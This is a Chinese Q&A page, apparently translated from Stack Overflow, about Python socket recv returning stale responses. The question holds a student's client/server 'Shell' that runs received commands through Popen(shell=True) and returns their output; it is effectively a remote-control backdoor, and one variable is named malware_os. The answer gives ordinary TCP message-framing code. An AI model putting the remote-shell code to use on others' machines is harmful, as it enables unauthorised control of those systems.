Python socket recv效果不佳

Sasquatch

我正在尝试为我的IT课程构建程序。该程序的重​​点是要有一个客户端应用程序来向服务器发送命令。直到今天,它似乎运行良好,经过几次电话,当我从服务器收到响应时,它不是最新的。

例如:我发送了一些正常工作的命令。但是,然后发送另一个命令并接收前一个命令的响应。

我检查了客户端发送的命令,这是我键入的命令,在服务器部分,当我从客户端收到命令时,它实际上是客户端发送的命令(而不是前一个)

这是我用来发送和接收消息的Shell类(在服务器和客户端中)以及如何使用它的示例。

服务器:

class Shell:
command = ""
next_command = True

def __init__(self, malware_os):
    self._os = malware_os
    self._response = ""

def receive(self):
    self.command = distant_socket.recv(4096).decode("utf-8")

def execute_command(self):
    if self.command[:2] == "cd":
        os.chdir(self.command[3:])
        if self._os == "Windows":
            self.result = Popen("cd", shell=True, stdout=PIPE)
        else:
            self.result = Popen("pwd", shell=True, stdout=PIPE)
    else:
        self.result = Popen(self.command, shell=True, stdout=PIPE)

    self._response = self.result.communicate()

def send(self):
    self._response = self._response[0]
    self._response = self._response.decode("utf-8", errors="ignore")
    self._response = self._response + " "
    self._response = self._response.encode("utf-8")
    distant_socket.send(self._response)
    self._response = None

在服务器中使用:

    shell.receive()
    shell.execute_command()
    shell.send()

客户:

class Shell:

    def __init__(self):
        self._history = []
        self._command = ""

    def send(self):
        self._history.append(self._command)
        s.send(self._command.encode("utf-8"))

    def receive(self):
        content = s.recv(4096).decode("utf-8", errors="ignore")
        if content[2:] == "cd":
            malware_os.chdir(self._command[3:].decode("utf-8", errors="ignore"))
        print(content)

    def history(self):
        print("The history of your commands is:")
        print("----------------------")
        for element in self._history:
            print(element)

    def get_command(self):
        return self._command

    def set_command(self, command):
        self._command = command

在客户端使用:

shell.set_command(getinfo.get_users())
shell.send()
shell.receive()

预先感谢您的帮助,诚挚地,萨斯喀彻

托默

由于您说的响应不是最新的,所以我猜您使用了TCP(您没有发布套接字创建信息)。就像提到的评论一样,您有2件事情做对了:

  1. 协议:TCP为您提供一个流,该流根据操作系统认为适合的数据包进行划分。通过网络传输数据时,接收端必须知道何时完成传输。最简单的方法是在传输本身之前以固定格式(例如4字节,大端)发送传输的长度。另外,使用sendall。例如:
import struct
def send_message(sock, message_str):
    message_bytes = message_str.encode("utf-8")
    size_prefix = struct.pack("!I", len(message_bytes)) # I means 4 bytes integer in big endian
    sock.sendall(size_prefix)
    sock.sendall(message_bytes)
  1. 由于TCP是流套接字,因此接收端可能会在接收整个消息之前从recv返回。您需要循环调用它,在每次迭代中检查返回值以正确处理断开连接。如:
def recv_message_str(sock):
    #first, get the message size, assuming you used the send above
    size_buffer = b""
    while len(size_buffer) != 4:
        recv_ret = sock.recv(4 - len(size_buffer))
        if len(recv_ret) == 0:
            # The other side disconnected, do something (raise an exception or something)
            raise Exception("socket disconnected")
        size_buffer += recv_ret
    size = struct.unpack("!I", size_buffer)[0]
    
    # Loop again, for the message string
    message_buffer = b""
    while len(message_buffer) != size:
        recv_ret = sock.recv(size - len(message_buffer))
        if len(recv_ret) == 0:
            # The other side disconnected, do something (raise an exception or something)
            raise Exception("socket disconnected")
        message_buffer += recv_ret
    return message_buffer.decode("utf-8", errors="ignore")

本文收集自互联网,转载请注明来源。

如有侵权,请联系 [email protected] 删除。

编辑于
0

我来说两句

0 条评论
登录 后参与评论

相关文章